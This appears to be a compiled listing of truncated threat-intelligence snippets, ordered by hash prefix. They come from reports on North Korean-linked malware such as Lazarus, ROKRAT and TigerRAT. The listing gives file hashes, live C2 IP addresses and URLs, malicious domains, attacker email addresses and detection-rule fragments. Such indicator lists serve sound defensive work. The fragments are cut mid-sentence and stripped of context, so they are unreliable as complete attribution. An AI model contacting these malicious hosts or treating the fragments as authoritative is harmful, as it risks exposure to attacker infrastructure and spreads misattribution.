bcf97660ce2b09cbffb454aa5436c9a0 13ff15ac54a297796e558bb96feaacfd cace67b3ea1ce95298933e38311f6d0b 645adf057b55ef731e624ab435a41757 bd…","…Hash-SHA256 b9c5d4339809e0ad9a00d4d3dd26fdf44a32819a54abf846bb9b560d81391c25 Hash-SHA256 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa Hash-SHA256 f7c7b5e4b051ea5bd0017803f40af13bed224c4b0fd60b890b6784df5bd63494 Hash-SHA256…","…384255ba8bea8997dce5a6a9c4b4352279343000821128342e6960dbcc14bbe0 MD5 f10d35fedb6aa986cef4c113edfdef26 SHA-1 ed02996ba97457166406d1d3230ef177fec67913 Size 101.66 MB Compiled 2026-03-05 19:25:10 UTC Signed 2026-03-05 19:51:00 UTC Author Yaro…","…x86 objc e0e42ac374443500c236721341612865cd3d1eec FAT objc e275deb68cdff336cb4175819a09dbaf0e1b68f6 FAT swift ed4f16b36bc47a701814b63e30d8ea7a226ca906 FAT swift fd1cef5abe3e0c275671916a1f3a566f13489416 x86 objc Stage 3 Version A Mach-Os SHA1 Arch Lang…","…\"file\": {\"hash\": {\"md5\": [\"e169d95fffd8ab489f5eae02365d39ca\"], \"sha1\": [\"ed4f16b36bc47a701814b63e30d8ea7a226ca906\"], \"sha256\": [\"7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8\"]}}, \"marking\": {\"tlp\": \"clear\"}, \"provider\": \"Elastic…","…SHA256 Subject Sender File name Initial C2 Domain ed63e84985e1af9c4764e6b6ca513ec1c16840fb2534b86f95e31801468be67a Republic of Korea, the Russian Federation and the DPRK rusrnirasaf@yandex.ru Republic of Korea, the Russian Federation and the…","…Information Theft and Espionage Indicators of Compromise MD5 5b44285747891464c496aa477e450f10 a205d5bdfcd237462abaf6b9d3576c4a ed691e1e20160346094c08d2cebf0f32 SHA-256…","…Theft and Espionage Indicators of Compromise Domain Name uploader77j.disk.yandex.net MD5 2fa8f5f95577db335e649d5361c845b0 ed825fe83c096ca29754c6b4e7e98384 SHA-256…","…IOCs IOCs for this research can also be found in our GitHub repository here . Hashes QuiteRAT ed8ec7a8dd089019cfd29143f008fa0951c56a35d73b2e1b274315152d0c0ee6 CollectionRAT db6a9934570fa98a93a979e7e0e218e0c9710e5a787b18c6948f2eedd9338984 773760fd71d52457ba53a314f15dddb1a74e8b2f5a90e5e150dea48a…","…available for purchase on Snort.org . IOCs IOCs for this research can also be found at our Github repository here . Hashes QuiteRAT ed8ec7a8dd089019cfd29143f008fa0951c56a35d73b2e1b274315152d0c0ee6 Networks…","ed8ec7a8dd089019cfd29143f008fa0951c56a35d73b2e1b274315152d0c0ee6 db6a9934570fa98a93a979e7e0e218e0c9710e5a787b18c6948f2eedd9338984 773760fd71d52457ba53a314f15dddb1a74e8b2f5a90e5e150dea48a21aa76df…","ed8ec7a8dd089019cfd29143f008fa0951c56a35d73b2e1b274315152d0c0ee6 http://146.4.21.94/tmp/tmp/comp.dat http://146.4.21.94/tmp/tmp/log.php http://146.4.21.94/tmp/tmp/logs.php…","…c98e7241693fbcbfedf254f2edc8173af54fcacebb7047eb7646235736dd5b89 cf3e9baaac7efcaff8a9864da9f12b4115ba3f148ae5cfc21f3c158f6182b792 ed9e373a687e42a84252c2c01046824ed699b32add73dcf3569373ac929fd3b9 ffdc53425ce42cf1d738fe22016492e1cb8e1bc657833ad6e69721b3c28718b2 Mutexes FwtSqmSession106839323_S-1-5-20 IPv4s…","…[Behavior Detection] Injection/MDP.Event.M4512 Injection/EDR.Lazarus.M10965 MD5 21def97a3c5b95df1e1aeb6486881656 edca71eda8650a2c591c37c780b6a0c5 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner…","…Type Java archive data (JAR) MD5 d93b6a5c04d392fc8ed30375be17beb4 SHA1 f862c2899c41a4d1120a7739cdaff561d2490360 SHA256 edd2aff8fad0c76021adc74fe3cb3cb1a02913a839ad0f2cf31fdea8b5aa8195 SHA512…","…or hash.sha256(“474978a976de1c869385d37ae422b1718918bc8cc05353a4bebb2b75846ab74c”) or hash.sha256(“ee8e8471fbe1b7fc85508e549444893bdea7579c5032c2626abcb1356129787e”) or hash.sha256(“e3c3981f65663c9923da9ca28c20951543ae3796bd39f86964769490b01c2bd7”)…","…(GUI) Intel 80386, for MS Windows MD5 35e38d023b253c0cd9bd3e16afc362a7 SHA1 c850e733f4e0d4abb34969678f2a1abe3b2f4c24 SHA256 eee38c632c62ca95b5c66f8d39a18e23b9175845560af84b6a2f69b7f9b6ec1c SHA512…","…Size 118272 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 db590ea77a92ae6435e2ec954d065ed4 SHA1 ef0c0ef95b1542184a6a1f4d1f4ece583046ba0a SHA256 284bc471647f951c79e3e333b2b19aa37f84cc39b55441a82e2a5f7319131fac SHA512…","…73 56c7b448dbc37aa50eb1c2a6475aca5e 99ee7852b8041a540fdb74b3784d0409 8230af6642f5f1927bbbbc7fd6e5427f b0eba111b570bb1c93ca1f48557d265b ef1a8f66351d03413ed2c7d499ee5164 f7363c5cfd6fa24a86e542fcd05283e8 f6800836d55d049fe79e3d47d54e1119 Domain…","…fbc50755913de619fb830fb95882e9703dbfda67dbd0f75bc17eadc9eda61370 SHA1: ced671856bbaef2f1878a2469fb44e9be8c20055 MD5: ef4ab22e565684424b4142b1294f1f4d Setup.exe SHA256: 6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 SHA1: 3bda9ca504146ad5558939de9fece0700f57c1c0 MD5:…","…malware-- 20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64 Tags remote-access-trojantrojan Details Name EF9DB20AB0EEBF0B7C55AF4EC0B7BCED Size 152064 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 ef9db20ab0eebf0b7c55af4ec0b7bced SHA1…","…文件大小 290816 字节 (284.00 KB) MD5 f160c057fded2c01bfdb65bb7aa9dfcc SHA1 1e14de870b1c4b09cbf81206562a254c27178d85 SHA256 efc139dc0e280a374065dc59c55a45b5146f091a85a3abd6f0caf1a9a2f8b060 编译时间戳 2016/12/06 11:35:32 Loader 模块执行后，先通过累加一个比较大的数值 0xBAADBEEF，来制造一个比较大的延时效果，之后将 EnumChildWindows…","…(GUI) x86-64, for MS Windows MD5 d45931632ed9e11476325189ccb6b530 SHA1 081d5bd155916f8a7236c1ea2148513c0c2c9a33 SHA256 efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e SHA512…","…to another file for analysis. Extracted DLL MD5: d45931632ed9e11476325189ccb6b530 SHA1: 081d5bd155916f8a7236c1ea2148513c0c2c9a33 SHA256: efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e The extracted malware is designed for 64-bit operating systems and contains an export named “Process.” The malware has two primary…","…Name kupay_upgrade Size 33248 bytes Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE> MD5 f00bde07d9f8b7af1da425c23cc47e47 SHA1 c0670e18e1e3fbde58a25cbb94ba11558c02e7d3 SHA256 0bc7517aa2f0c1820ced399bfd66b993f10ad77e8d72727b0f3dc1ca35cad7ba SHA512…","…Escalation Indicators of Compromise Domain Name americajobmail.site IP 172.96.137.224 MD5 e12f93d462a622f32a4ff1e646549c42 f01eae4ee3cc03d621be7b0af7d60411 SHA-256…","…78D3C8705F8BAF7D34E6A6737D1CFA18 Brambul Worm File Hashes FF4721E6EDAD7D3BEC8E0C4D4A8C1D26 344D3EC0D84D2853E416C664DD577F44 F024FF4176F0036F97EBC95DECFD1D5E 3844EC6EC70347913BD1156F8CD159B8 Emails Brambul sends stolen credentials to whiat1001@gmail.com johnS203@yahoo.com…","…7034268d1c52539ea0cd48fd33ae43c4 7beaf468765b2f1f346d43115c894d4b b74efd8470206a20175d723c14c2e872 b8ffb0b5bc3c66b7f1b0ec5cc4aadafc f03618281092b02589bca833f674e8a0 URL…","…73174c9d586531153a5793d050a394a8 8133c5f663f89b01b30a052749b5a988 91029801f6f3a415392ccfee8226be67 ec1b518541228072eb75463ce15c7bce f05991652398406655a6a5eebe3e5f3a URL…","…ROKRAT:: b3de3f9309b2f320738772353eb724a0782a1fc2c912483c036c303389307e2e \"Evil New Year 2018\" Campaign: Maldoc sha256: f068196d2c492b49e4aae4312c140e9a6c8c61a33f61ea35d74f4a26ef263ead PNG : bdd48dbed10f74f234ed38908756b5c3ae3c79d014ecf991e31b36d957d9c950 ROKRAT::…","…Size 221184 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 2733a9069f0b0a57bf9831fe582e35d9 SHA1 f06f9d015c2f445ee0f13da5708f93c381f4442d SHA256 91650e7b0833a34abc9e51bff53cc05ef333513c6be038df29929a0a55310d9c SHA512…","…attack the reporters, and this XOR Table was already in use in 2017. Case HASH (SHA256) Timestamp (UTC+9) XOR Table f070768ba2d0091b66e2a15726e77165 f64ec976e9930425009da79c7aa081ac 2017-06-02 10: 09:19 051BC852ED4D1E4BD44030D6BF3187D0 56C1BE63947D08B00FE0F2E84BC8AB82 A…","…Hash-MD5 d6114ba5f10ad67a4131ab72531f02da Hash-MD5 05a00c320754934782ec5dec1d5c0476 Hash-MD5 f107a717f76f4f910ae9cb4dc5290594 Hash-MD5 7f7ccaa16fb15eb1c7399d422f8363e8 Hash-MD5 84c82835a5d21bbcf75a61706d8ab549 Hash-MD5…","…后门模块PE头数据 Backdoor模块 文件大小 68608 字节 (67.00 KB) MD5 f108a4d064dd05c0a097f517ec738b1a SHA1 f197a7be7fdb286bc9673a57b54994c02a7af8d6 SHA256 d1baefd0bdc7f3b0369c5b7126c3b98469a518cf4db788fad1d243d8661a17b9 编译时间戳…","…Property Value SHA-256 384255ba8bea8997dce5a6a9c4b4352279343000821128342e6960dbcc14bbe0 MD5 f10d35fedb6aa986cef4c113edfdef26 SHA-1 ed02996ba97457166406d1d3230ef177fec67913 Size 101.66 MB Compiled 2026-03-05 19:25:10 UTC…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2015-01-07 21:49:56-05:00 Import Hash f124895b94c3b1ec5baf7f21dc62122a Company Name Microsoft Corporation File Description Microsoft Neutral Natural Language Server Data and Code Internal Name…","…99017270f0af0e499cfeb19409020bfa0c2de741e5b32b9f6a01c34fe13fda7d 7646c2afbc8b9719b0295e5a880bb89fb85bdd4346603a52768b161eda12e8be f12db45c32bda3108adb8ae7363c342fdd5f10342945b115d830701f95c54fa9 077d9e0e12357d27f7f0c336239e961a7049971446f7a3f10268d9439ef67885 a1c483b0ee740291b91b11e18dd05f0a460127acfc19d47b446d11cd0e26d717…","…96 c0cac70c93d213d113001e3410c24fd2 d2b2c6646535a62e4c005613d6a036f0 e726b59f96ab8360f323469d72b8b617 ea95109b608841d2f99a25bd2646ff43 f13a4834e3e1613857b84a1203e2e182 f3603f68aadc8bc1ea8939132f0d5252 2f3dff7779795fc01291b0a31d723aca 7e8c24bb3b50d68227ff2b7193d548dd d287dcaeaf17c9dae8a253994502ee58…","…You Happy?\" Campaign: Wiper sha256: 6332c97c76d2da7101ad05f501dc1188ac22ce29e91dab6d0c034c4a90b615bd \"FreeMilk\" Campaign: Office sha256: f1419cde4dd4e1785d6ec6d33afb413e938f6aece2e8d55cf6328a9d2ac3c2d0 HTA sha256: a585849d02c94e93022c5257b162f74c0cdf6144ad82dd7cf7ac700cbfedd84f JS sha256:…","…파일명 개인정보보호 자율점검 가이드라인 .hwp 경로 D: \\ HighSchool \\ version 13 \\ First-Dragon(VS2015) \\ Sample \\ Release \\ DogCall.pdb MD5 f1487347285b392bfc61724111863f91 [ 표 19] ‘ 개인정보보호 ~ .hwp ’ 를 통해 설치되는 악성파일 정보 파일명 국가연합과연방제 .hwp 경로 D: \\ HighSchool \\ version…","…52 bfb02dee62c38c3385df92b308499b31 ca3926dc6c4b2a71832a03fba366cbcd ec9dcef04c5c89d6107d23b0668cc1c1 f4d59b1246e861a2a626cb56c55651f0 f14f332d4273de04ba77e38fd3dcff90 f960ce07c519d1e64a46c7f573eac39b fb3c652e795f08cc2529ed33ec1dc114 fe8626e7c3f47a048c9f6c13c88a9463 1ae2e46aac55e7f92c72b56b387bc945 2a…","…文档中携带的恶意宏 下载的文件为木马 Loader 模块，样本信息如下： 文件名 TEMP.so、spolsve.exe、tlworker.exe 文件大小 290816 字节 (284.00 KB) MD5 f160c057fded2c01bfdb65bb7aa9dfcc SHA1 1e14de870b1c4b09cbf81206562a254c27178d85 SHA256 efc139dc0e280a374065dc59c55a45b5146f091a85a3abd6f0caf1a9a2f8b060 编译时间戳…","…⚫ 3c9fd3716f87fb633af92b1fc93680a6 ⚫ 46dbd03cbdebea6375403955520461bf ⚫ 5295200468cbc4efc7e0b0673d05106d ⚫ f165034e338bab6b121f3ba9bc0374c9 ⚫ f1b9c9a6a5adbddb7eaf64786ed61fee ⚫ f215257eface32e03d91acaf44d91d92 ⚫ 1788a19397e0a7ab99f7445e2f8ecd8e ⚫…","…8bfa4fe0534c0062393b6a2597c3491f7df3bf2eabfe06544c53bdf1f38db6d4 15d53bb839e00405a34a8b690ec181f5555fc4f891b8248ae7fa72bad28315a9 f1713afaf5958bdf3e975ebbab8245a98a84e03f8ce52175ef1568de208116e0 Domain: swissborg.blog Fullhouse Backdoor SHA256 hash:…","…At that time, lures related to COVID-19 and credential access were used. HWP hash HWP file name Dropped payload hash f17502d3e12615b0fa8868472a4eabfb 코로나19 재감염 사례-백신 무용지물.hwp (Covid-19 reinfection case-Useless vaccine.hwp) 72e5b8ea33aeb083631d1e8b302e76af (Visual Basic Script)…","…Steganography T1566 .001 : Phishing: Spearphishing Attachment. IOCs: Document 1 .hwp file :- 코로나19 재감염 사례-백신 무용지물.hwp hashes: MD5 f17502d3e12615b0fa8868472a4eabfb SHA1 40359e0e92a99b428778ac4e9d70fbc4d5307961 SHA256 dbbecbafd905f0b4a2c8194cba3c879d2b933094be9bf27ae69295b4d1de2055 DNS…","…后门模块PE头数据 Backdoor模块 文件大小 68608 字节 (67.00 KB) MD5 f108a4d064dd05c0a097f517ec738b1a SHA1 f197a7be7fdb286bc9673a57b54994c02a7af8d6 SHA256 d1baefd0bdc7f3b0369c5b7126c3b98469a518cf4db788fad1d243d8661a17b9 编译时间戳 2020/11/19 17:00:55…","…wanted to get our findings about how it’s transmitted out to the public as soon as possible. IOCs SHA-256 Hash of mach-O Analyzed f1b3ce96462027644f9caa314d3da745dab139ee1cb14fe508234e76bd686f93 Additional SHA-256 Hashes…","…or hash.sha256(“76ee4da0af1921b820cc0913b4011bb5382edac958eb2592ee1c3a00a41c2041”) or hash.sha256(“f1b4eb84e77e39803a0463b49b66600adb19347512354d0481568a8411b75b24”) or hash.sha256(“c348e945e1f6123bd054277d16a39da715deed8f5a6849bc70a57913b877e2ba”)…","…11 애니챗_20240511.xlsx.lnk 79.133.56.173 [DE] f1b542971711bf229d02f5e385225a8d 05.…","…and Espionage Sensitive Data Exposure Indicators of Compromise Domain Name radiofreeasia.blog rfa.lol IP 79.133.56.173 MD5 f1b542971711bf229d02f5e385225a8d SHA-256 ae4dc41b8f5664b5aef5d82be55624d53be4ead0a23b029ae290e02c8d5f9e4f SHA1 67495e04457f66065470ab96c88d55e4ec3bf51e…","…⚫ 46dbd03cbdebea6375403955520461bf ⚫ 5295200468cbc4efc7e0b0673d05106d ⚫ f165034e338bab6b121f3ba9bc0374c9 ⚫ f1b9c9a6a5adbddb7eaf64786ed61fee ⚫ f215257eface32e03d91acaf44d91d92 ⚫ 1788a19397e0a7ab99f7445e2f8ecd8e ⚫ 3b97c7621969b31b3b4f5975a82e2c00 ⚫…","…⚫ 5295200468cbc4efc7e0b0673d05106d ⚫ f165034e338bab6b121f3ba9bc0374c9 ⚫ f1b9c9a6a5adbddb7eaf64786ed61fee ⚫ f215257eface32e03d91acaf44d91d92 ⚫ 1788a19397e0a7ab99f7445e2f8ecd8e ⚫ 3b97c7621969b31b3b4f5975a82e2c00 ⚫ b40722c94cfee7b21f97073304cb2fba ⚫…","…90fb0cd574155fd8667d20f97ac464eca67bdb6a8ee64184159362d45d79b6a4 YamaBot f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb Procdump 16F413862EFDA3ABA631D8A7AE2BFFF6D84ACD9F454A7ADAA518C7A8A6F375A5…","…pattern ConsoleFileID 1225e4fe-5c83-4d7f-a643-606b18e5f890 Indicators of Compromise File Indicators # MSC Loader SHA256: f239e3fedc4926ff3cf58f95bacff9d8f11289e58036ed507ab3f435dce1b2b1 MD5: 6db53d66629f95a2d830a4f56e8c69f2 SHA1: 253d232e1485e7e60ff3380999412c773d0a9a14 File: plugin.msc # Extracted Shellcode SHA256:…","…경로 D: \\ HighSchool \\ version 13 \\ First-Dragon(VS2015) \\ Sample \\ Release \\ DogCall.pdb 최종 수정일자 2017-04-12 02:57:21 (UTC) MD5 f28b17886120556c00874b15efad6a76 SHA256 5379740e19b231db6fe94e5bfd838e709ad08ee95bcc535d04d8 5d0617e415fb [ 표 08] ‘Tulips.gif’ 파일 세부 정보 other32.jpg PDB…","…3d486ee 3f326da2affb0f7f2a4c5c95ffc660cc 490c885dc7ba0f32c07ddfe02a04bbb9 712a8e4d3ce36d72ff74b785aaf18cb0 a27a9324d282d920e495832933d486ee f2a0e9034d67f8200993c4fa8e4f5d15 Domains markettrendingcenter.com lm-career.com advantims.com Related Written by Akshat Pradhan ,…","…진단] Dropper/MSOffice.Generic (2023.03.20.02) Trojan/VBS.Generic.SC186657 (2023.03.03.00) MD5 aa756b20170aa0869d6f5d5b5f1b7c37 f2a0e92b80928830704a00c91df87644 URL http://delps.scienceontheweb.net/ital/info/list.php?query=1 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수…","…Name F2B9D1CB2C4B1CD11A8682755BCC52FA Size 1658880 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 f2b9d1cb2c4b1cd11a8682755bcc52fa SHA1…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2019-07-23 20:49:41-04:00 Import Hash f2da13bb8bffa45aa11aaf82d51d54b5 PE Sections MD5 Name Raw Size Entropy 557352a095b601682822a48dfb6ff35e header 1024 3.105520…","…Size 141312 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 fdd55a38a45de8af6f8c34a33bae11cb SHA1 f2da56d6a565ade77d7ebb0c31eda99b415bcced SHA256 c24c322f4535def3f8d1579c39f2f9e323787d15b96e2ee457c38925effe2d39 SHA512…","…the results back to the C2. fe43bc385b30796f5e2d94dfa720903c70e66bc91dfdcfb2f3986a1fea3fe8c5 Tags trojan Details Name F315BE41D9765D69AD60F0B4D29E4300 Size 147456 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 f315be41d9765d69ad60f0b4d29e4300 SHA1…","…14a00f517012279af53118a491253e5c 224d2398437e665f3202d4118e4748e2 a2bfa52ac21ab618fb7f8af1261b6428 f316f341f923c1598dbbb6967c1c66e2 0efc5c754b6739be19d5478fdffde7f5 c1f725abaf4e82ff1a4042f84d226643 4da5e7d083af1ba3872c205ff27de8cc…","…domain americajobmail.site privatemake.bounceme.net ww3c.bounceme.net advice.uphearth.com SHA-256 TigerRAT f32f6b229913d68daad937cc72a57aa45291a9d623109ed48938815aa7b6005c 0837dd54268c373069fc5c1628c6e3d75eb99c3b3efc94c45b73e2cf9a6f3207 29c6044d65af0073424ccc01abcb8411cbdc52720cac957a3012773c4380bab3…","…STAGE VARIANT C2 f32f6b229913d68daad937cc72a57aa45291a9d623109ed48938815aa7b6005c x64 RAT (3rd stage) RAT-KrCERT-x64 (TigerRAT) 52.202.193.124 ed11e94fd9aa3c7d4dd0b4345c106631fe52929c6e26a0daec2ed7d22e47ada0…","…Support/3CX Desktop App/.session-locks MD5 SHA1 SHA256 ca8c0385ce2b8bdd19423c8b98a5924b f3487a1324f4c11b35504751a5527bc60eb95382 b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb 27b134af30f4a86f177db2f2555fe01d…","…themed phishing attacks using the following publicly available malicious files. MD5: b484b0dff093f358897486b58266d069 MD5: f34b72471a205c4eee5221ab9a349c55 MD5: 4c26b2d0e5cd3bfe0a3d07c4b85909a4 MD5: 52ec074d8cb8243976963674dd40ffe7 MD5: d1d779314250fab284fd348888c2f955 MD5:…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2020-03-17 04:55:13-04:00 Import Hash f34d5f2d4577ed6d9ceec516c1f5a744 File Description CryptoMex Internal Name CoinGoTrade.exe Legal Copyright Copyright © 2020 Original Filename…","…d2 d2b2c6646535a62e4c005613d6a036f0 e726b59f96ab8360f323469d72b8b617 ea95109b608841d2f99a25bd2646ff43 f13a4834e3e1613857b84a1203e2e182 f3603f68aadc8bc1ea8939132f0d5252 2f3dff7779795fc01291b0a31d723aca 7e8c24bb3b50d68227ff2b7193d548dd d287dcaeaf17c9dae8a253994502ee58…","…vmd | | f3620e42e9c726c65ea7e14e3bf35464 | vpost .…","…intelreports@kaspersky.com Indicators of compromise File Hashes (malicious documents, Trojans, emails, decoys) Windows Loader f364b46d8aafff67271d350b8271505a 85dcea03016df4880cebee9a70de0c02 1060702fe4e670eda8c0433c5966feee 7b068dfbea310962361abf4723332b3a 8e665562b9e187585a3f32923cc1f889 6c…","…in the October 2019 timeframe, indicating the possibility of additional malicious documents. Sha1 Compile Date File Name f3847f5de342632f8f9e2901f16b7127472493ae 10/12/2019 MFC_dll.DLL 659c854bbdefe692ee8c52761e7a8c7ee35aa56c 10/12/2019 MFC_dll.DLL…","…the BlockBuster_Sequel tag . Indicators of Compromise SHA256 4d4465bd9a57c7a3c0b80fa3282697554a1419794afa36e544a4ae06d60c1615 f390ef86a4ad92dde125c983e6470f08344b9eaa14c17a1e6c4bb7ebfa7c4ec9 acfae7e2fdda02e81b3e03f8c30741744d629cd672db424027f7caa59c975897 7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd e09224…","…newly discovered Linux variants of POOLRAT (SHA256: 5c907b722c53a5be256dc5f96b755bc9e0b032cc30973a52d984d4174bace456 , SHA256: f3b0da965a4050ab00fce727bb31e0f889a9c05d68d777a8068cfc15a71d3703 ) exhibit several notable similarities to its macOS counterpart ( prtspool ).…","…addresses: 146.19.173.125 23.227.202.54 38.132.124.88 88.119.174.148 198.244.135.250 POOLRAT SHA256 hashes: f3b0da965a4050ab00fce727bb31e0f889a9c05d68d777a8068cfc15a71d3703 5c907b722c53a5be256dc5f96b755bc9e0b032cc30973a52d984d4174bace456 5e40d106977017b1ed235419b1e59ff090e1f43ac57da1bb5d80d66ae53b1df8…","…f99be20f8e06 19d9573f0b2c2100accd562cc82d57adb12a57ec f90a2155ac492c3c2d5e1d83e384e1a734e59cc0 9b832dda912cce6b23da8abf3881fcf4d2b7ce09 f3b62fea38cb44e15984d941445d24e6b309bc7b 66d2cea01b46c3353f4339a986a97b24ed89ee18 7113aaab61cacb6086c5531a453adf82ca7e7d03 d41daba0ebfa55d0c769ccfc03dbf6a5221e006a 25f4819e7948…","…associated with ROKRAT and similar sophisticated malware. Impact Information Theft and Espionage Indicators of Compromise MD5 f3c087a0be0687afd78829cab2d3bc2b 3323777ca4ac2dc2c39f5c55c0c54e3c 144928fc87e1d50f5ed162bb1651ab24 89c0d2cc1e71b17449eec454161d60da SHA-256…","…Name f3ca8f15ca582dd486bd78fd57c2f4d7b958163542561606bebd250c827022de Size 265216 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 bda82f0d9e2cb7996d2eefdd1e5b41c4 SHA1…","…bf939c9c261d27ee7bb92325cc588624fca75429 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 f3d4144860ca10ba60f7ef4d176cc736 bea77d1e59cf18dce22ad9a2fad52948fd7a9efa aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868…","…Command and Control T1071 Application Layer Protocol Indicators of Compromise (IOCs) Indicators Indicator Type Description f3d4144860ca10ba60f7ef4d176cc736 bea77d1e59cf18dce22ad9a2fad52948fd7a9efa aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 MD5 SHA1 SHA256 3CX Windows…","…XCOFF executable or object module MD5 58bb2236e5aee39760d3e4fc6ee94a79 SHA1 a74dd2f9723dfb74d0d7b15294622b6ccc0b9562 SHA256 f3e521996c85c0cdb2bfb3a0fd91eb03e25ba6feef2ba3a1da844f1b17278dd2 SHA512…","…SHA-256 7464850d7d6891418c503d0e1732812d7703d6c1fd5cf3c821f3c202786f9422 f3e6e8df132155daf1d428dff61f0ca53ecd02015a0a0bbe1ad237519ab3cb58 e87177e07ab9651b48664c3d22334248e012e8a2bab02f65c93fedd79af0a74f 022344029b8bf951ba02b11025fe26c99193cb7c8a482c33862c9bbaa5e5528e 9111d4…","…SHA-256 f408dee7fa76179d826885c5c6f38acbcc11f3e3abba1f1f58068cdf833b4317 0dc17133b9d54b8d38f5a4f4c49eb0cee7ff2c80b1ea614fb59ca49c3721440b 23c18fe6675b4dad5e1354718fa9bbb096ded4293948d318d0057b51642c4cbb 63c45d…","…7c99c0 1076743a8e2f650b80c8802f0b196b735ab030ed29471d003f9942ccee494596 01ccbc9ac090be73f12cad8ff83b599b1c689e7ccf9de8102d50512bb767bdec f4275b0d3c4b6f3a165984b862f4890df14cc346013a22412f7288c9fdc65690 4cf87cc8ec18cc288bdebb464ca21e4a03d5a35e5f0d294f33a6791e99640a88 b3f4db35c07f8f8ce903c7a1133f1959b80bb198b994942c67776474170999a0 cd87f6…","…Technical Analysis For the analysis below, the following sample is used: MD5 3e4015366126dcdbdcc8b5c508a6d25c SHA1 f459f9cfbd10b136cafb19cbc233a4c8342ad984 SHA256 aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7091de File Type PE32 executable (GUI) Intel 80386, for MS…","…sha256 sha1 md5 0b06fb7f53bb7963ec2ff89d832b831763706e44d206a4d0a8c813ebee633e22 f463b1cf8d6dd8004edf047b4dea3c4e283f0ffb fcbe52f671d2f20b292c3057320d89a9 2e068beb40f8901b698d4fc2f5766564c8324d5ba95fb0a0ffa841f5da5c7e72…","…50b687948440 246018220a4f4f3d20262b7333caf323e1c77d2e 8b6ffa56ca5bea5b406d6d8d6ef532b4d36d090f 90f52b6d077d508a23214047e680dded320ccf4e f483c33acf0f2957da14ed422377387d6cb93c4d f974d22f74b0a105668c72dc100d1d9fcc8c72de redhat-packages.com centos-packages.com dallynk.com yolenny.com 606qipai.com asplinc.com b…","…File Information Name: Terms and conditions.msc Size: 141 KB MD5: 81d224649328a61c899be9403d1de92d SHA-1: f4895809cb38fa1f225340e99c05e477a5017111 SHA-256: cea22277e0d7fe38a3755bdb8baa9fe203bd54ad4d79c7068116f15a50711b09 Malware Repo Links Over the past 15 years, as the blog has…","…a80a35649f638049244a06dd4fb6eca4de0757ef566bfbe1affe1c8bf1d96b04 b8233fe9e903ca08b9b1836fe6197e7d3e98e36b13815d8662de09832367a98a f4aa4c6942a87087530494cba770a1dcbc263514d874f12ba93a64b1edbae21c facf3b40a2b99cc15eee7b7aee3b36a57f0951cda45931fcde311c0cc21cdc71 0ed643a30a82daacecfec946031143b962f693104bcb7087ec6bda09ade0f3cb…","…fc b128c5db5d973be60f39862ba8bfb152 bfb02dee62c38c3385df92b308499b31 ca3926dc6c4b2a71832a03fba366cbcd ec9dcef04c5c89d6107d23b0668cc1c1 f4d59b1246e861a2a626cb56c55651f0 f14f332d4273de04ba77e38fd3dcff90 f960ce07c519d1e64a46c7f573eac39b fb3c652e795f08cc2529ed33ec1dc114 fe8626e7c3f47a048c9f6c13c88a9463 1a…","…Size 778240 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 ca67f84d5a4ac1459934128442c53b03 SHA1 f4eb6a50c60320edafb3e48c612c6a55560d0684 SHA256 40ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116 SHA512…","…e5 8c561a53085651d7f47b24129c2cd2d0 7df07ecb0b516df085a5ee95ed8e6560 af999c3c615b56691d75e8c877e185fb 5be0527f5c84208371761cee852f0d7c f51a2ccb4b9b2bf163c81b525bfac08e 10ce9409d8d1e72ea6439bec7cd7e4cd a87659641e00d724de5662b14fe142e8 1808bd4919c5943096a4a19784d6b8de C&C…","…SHA256 3b33b0739107411b978c3cbafb312a44b7488bd7adabae3e7b02059240b6dc83 Payload SHA256 f53d4b3eb76851e88c6f30f1ecc67796bbd6678b8e2e9bc0a8f2582c42a467c6 Payload SHA256 9362425ae690b5bf74782eafe959195f25ac8bad370794efd4a08048141efb32 Payload…","…MD5 f5475608c0126582081e29927424f338 SHA256 a75886b016d84c3eaacaf01a3c61e04953a7a3adf38acf77a4a2e3a8f544f855 Creation Time 2021-01-09 02:06:32 Export…","…Jun2021.\" reference = \"https://otx.alienvault.com/pulse/294acafed42c6a4f546486636b4859c074e53d74be049df99932804be048f42c\" SHA256 = \"f5563f0e63d9deed90b683a15ebd2a1fda6b72987742afb40a1202ddb9e867d0\" strings: $a1 = \"Office ClickToRun\" wide ascii $a2 = \"C:\\\\Drivers\\\\\" condition: uint16(0) == 0x5A4D and all of them }…","…7a6b45351afef3f5d8015e0fb13342ba 0f5ae560bbaadc7244c6c75da30a101b 501ee5b43833e35a6be3a2f0f977bb7c a5396648475416fcbbedb16470ab98cc f558987b89e65c49739f9b6f69e3c088 SHA-256…","…IoC (Indicator of Compromise) MD5 f5842320e04c2c97d1f69cebfd47df3d 